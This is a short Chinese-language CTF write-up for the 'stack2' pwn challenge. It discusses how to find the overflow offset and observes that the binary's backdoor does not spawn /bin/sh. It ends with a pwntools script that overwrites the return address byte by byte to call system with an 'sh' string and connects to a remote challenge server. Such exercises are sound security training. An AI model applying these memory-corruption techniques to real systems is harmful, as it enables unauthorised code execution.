image.png
    image.png
    这两个地方是存在溢出的,这个溢出偏移我们要怎么找呢?

    image.png
    这个偏移可以怎么得到呢?
    一种方法就是我们直接输入数据然后去栈上找,我在看别人博客的时候发现还有一种方式
    因为c语音的数组在一开始就已经搞好
    我们在ida种
    image.png
    这样去找,虽然在gdb可以直接看,但是这样也是一种方法
    我们看到文中的shell
    image.png
    不是bin/sh
    所以这个后门函数等于没用

    1. from pwn import *
    2. context.log_level = 'debug'
    3. context.arch = 'amd64'
    4. offest = 132
    5. io = process("./stack2")
    6. io = remote("node4.buuoj.cn",29777)
    7. elf = ELF("./stack2")
    8. system_plt = 0x08048450
    9. sh_addr = 0x08048987
    10. def change(addr,number):
    11. io.recvuntil("5. exit")
    12. io.sendline("3")
    13. io.recvuntil("which number to change:")
    14. io.sendline(str(addr))
    15. io.recvuntil("new number:")
    16. io.sendline(str(number))
    17. io.recvuntil("How many numbers you have:")
    18. io.sendline("1")
    19. io.recvuntil("Give me your numbers")
    20. io.sendline("2")
    21. change(offest,0x50)
    22. change(offest+1,0x84)
    23. change(offest+2,0x04)
    24. change(offest+3,0x08)
    25. change(offest+8,0x87)
    26. change(offest+9,0x89)
    27. change(offest+10,0x04)
    28. change(offest+11,0x08)
    29. io.recvuntil("5. exit")
    30. io.sendline("5")
    31. io.interactive()